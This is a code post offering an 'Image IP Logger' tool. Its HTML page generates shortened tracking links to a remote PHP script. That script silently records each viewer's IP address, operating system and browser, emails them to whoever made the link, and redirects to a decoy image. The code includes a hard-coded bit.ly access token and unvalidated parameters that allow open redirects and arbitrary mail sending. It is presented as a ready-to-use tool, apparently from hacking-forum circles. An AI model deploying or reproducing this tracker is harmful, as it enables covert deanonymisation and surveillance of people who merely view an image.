Image IP Logger - Log hits using images

Code:

<html>
<title>Image IP Logger</title>
<body bgColor=#5e717f><br>
<table style="background: #bed5e2;" cellspacing=0 cellpadding=0 align=center>
  <tr>
    <td style="border-right: #d8d8d8 0.75pt solid; padding-right: 6pt; border-top: #d8d8d8 0.75pt solid; padding-left: 6pt; background: #567280; padding-bottom: 6pt; border-left: #d8d8d8 0.75pt solid; width: 317.5pt; padding-top: 6pt;">
      <p><b><span style="font-size: 10pt; color: #ff9900; font-family: verdana; mso-ansi-language: en">Image IP Logger</span></b></p>
    </td>
   </tr>
   <tr>
    <td style="padding-right: 6pt; padding-left: 6pt; padding-bottom: 6pt; padding-top: 6pt"><br>
     <center><table border=0 cellspacing=0 cellpadding=0><tr><td>
    <p style="margin:0cm;margin-bottom:.0001pt;line-height:115%">
    <span style="font-size:9.0pt;font-family:verdana;">Link a image and receive an email everytime the image is viewed!</p>
    </td></tr></table>
<script>
function doSearch( selectedIndex, searchTerm, searchTerm2, searchTerm3 ) {
 if (searchTerm == "") {
      alert("Write your email!");
      return false;
   }
 if (searchTerm2 == "") {
      alert("Write the destination url!");
      return false;
   }
   window.open(SEARCH_DATA[selectedIndex][1],SEARCH_DATA[selectedIndex][0]);
}
function engine1(selectedIndex,searchTerm,searchTerm2,searchTerm3) 
{
   SEARCH_DATA= new Array(0);
   SEARCH_DATA[1]= new Array("a1","https://api-ssl.bitly.com/v3/shorten?access_token=d75aa27df880878ed0be09df34bebc9e557597ec&longUrl=http://site.tk/2.php?email="+escape(searchTerm)+"%26url="+escape(searchTerm2)+"%26tag="+escape(searchTerm3)+"&format=txt");
doSearch( selectedIndex, searchTerm, searchTerm2, searchTerm3);
   return true;
}
</script>
</p>
<table>
<form name="Form1" onsubmit="javascript:engine1(this.engine.value,this.var1.value,this.var2.value,this.var3.value); return false;">
<input type="hidden" name="engine" value=1>
<tr><td>Your Email:</td><td><input type="text" class="text" size="20" name="var1" value="riyu370pitu@post.wordpress.com" placeholder="Ex: email@hotmail.com"></td></tr>
<tr><td>Image URL:</td><td><input type="text" class="text" size="20" name="var2" placeholder="Ex: http://www.example.com/1.jpg"></td></tr>
<tr><td>Image TAG:</td><td><input type="text" class="text" size="20" name="var3" placeholder="Ex: From hackforums.net"></td></tr>
<tr><td></td><td><input type="submit" value="Generate Link!" class="submit" name="submit"></td></tr>
</form>
</table>
<iframe name="a1" frameborder="0" width="317.5pt" height="30" scrolling="no"></iframe>
</p>
<table style="background: #bed5e2; width: 317.5pt; border-collapse: collapse; mso-padding-alt: 6.0pt 6.0pt 6.0pt 6.0pt" cellspacing=0 cellpadding=0 width=690 align=center bgColor=#bed5e2 border=0>
  <tr><td style="border-right: #d8d8d8 0.75pt solid; padding-right: 6pt; border-top: #d8d8d8 0.75pt solid; padding-left: 6pt; background: #567280; padding-bottom: 6pt; border-left: #d8d8d8 0.75pt solid; width: 450pt; padding-top: 6pt; border-bottom: medium none">
      <center><p><b><span style="font-size: 10pt; color: #c2dceb; font-family: verdana; mso-ansi-language: EN">Copyright © 2017-2019 Privateloader</span></center></b>
      </td></tr></table>
</body></html>

Code:

<?PHP
function getUserIP()
{
    $client  = @$_SERVER['HTTP_CLIENT_IP'];
    $forward = @$_SERVER['HTTP_X_FORWARDED_FOR'];
    $remote  = $_SERVER['REMOTE_ADDR'];

    if(filter_var($client, FILTER_VALIDATE_IP))
    {
        $ip = $client;
    }
    elseif(filter_var($forward, FILTER_VALIDATE_IP))
    {
        $ip = $forward;
    }
    else
    {
        $ip = $remote;
    }

    return $ip;
}

$user_ip = getUserIP();

$user_agent     =   $_SERVER['HTTP_USER_AGENT'];

function getOS() { 

    global $user_agent;

    $os_platform    =   "Unknown OS Platform";

    $os_array       =   array(
                            '/windows nt 10/i'     =>  'Windows 10',
                            '/windows nt 6.3/i'     =>  'Windows 8.1',
                            '/windows nt 6.2/i'     =>  'Windows 8',
                            '/windows nt 6.1/i'     =>  'Windows 7',
                            '/windows nt 6.0/i'     =>  'Windows Vista',
                            '/windows nt 5.2/i'     =>  'Windows Server 2003/XP x64',
                            '/windows nt 5.1/i'     =>  'Windows XP',
                            '/windows xp/i'         =>  'Windows XP',
                            '/windows nt 5.0/i'     =>  'Windows 2000',
                            '/windows me/i'         =>  'Windows ME',
                            '/win98/i'              =>  'Windows 98',
                            '/win95/i'              =>  'Windows 95',
                            '/win16/i'              =>  'Windows 3.11',
                            '/macintosh|mac os x/i' =>  'Mac OS X',
                            '/mac_powerpc/i'        =>  'Mac OS 9',
                            '/linux/i'              =>  'Linux',
                            '/ubuntu/i'             =>  'Ubuntu',
                            '/iphone/i'             =>  'iPhone',
                            '/ipod/i'               =>  'iPod',
                            '/ipad/i'               =>  'iPad',
                            '/android/i'            =>  'Android',
                            '/blackberry/i'         =>  'BlackBerry',
                            '/webos/i'              =>  'Mobile'
                        );

    foreach ($os_array as $regex => $value) { 

        if (preg_match($regex, $user_agent)) {
            $os_platform    =   $value;
        }

    }   

    return $os_platform;

}

function getBrowser() {

    global $user_agent;

    $browser        =   "Unknown Browser";

    $browser_array  =   array(
                            '/msie/i'       =>  'Internet Explorer',
                            '/firefox/i'    =>  'Firefox',
                            '/safari/i'     =>  'Safari',
                            '/chrome/i'     =>  'Chrome',
                            '/edge/i'       =>  'Edge',
                            '/opera/i'      =>  'Opera',
                            '/netscape/i'   =>  'Netscape',
                            '/maxthon/i'    =>  'Maxthon',
                            '/konqueror/i'  =>  'Konqueror',
                            '/mobile/i'     =>  'Handheld Browser'
                        );

    foreach ($browser_array as $regex => $value) { 

        if (preg_match($regex, $user_agent)) {
            $browser    =   $value;
        }

    }

    return $browser;

}


$user_os        =   getOS();
$user_browser   =   getBrowser();

$email = $_GET["email"];
$url = $_GET["url"];
$tag = $_GET["tag"];
$headers = "From: privateloader@hotmail.com" . "\r\n";
mail("$email","Your Image have been viewed","Your Image have been viewed!\n\nThe user IP is: $user_ip \n\nBrowser: $user_browser \n\nOS: $user_os\n\nTAG: $tag\n\n For more Privateloader tools just reply back to privateloader@hotmail.com!","$headers");
header("Location: $url");
die();
?>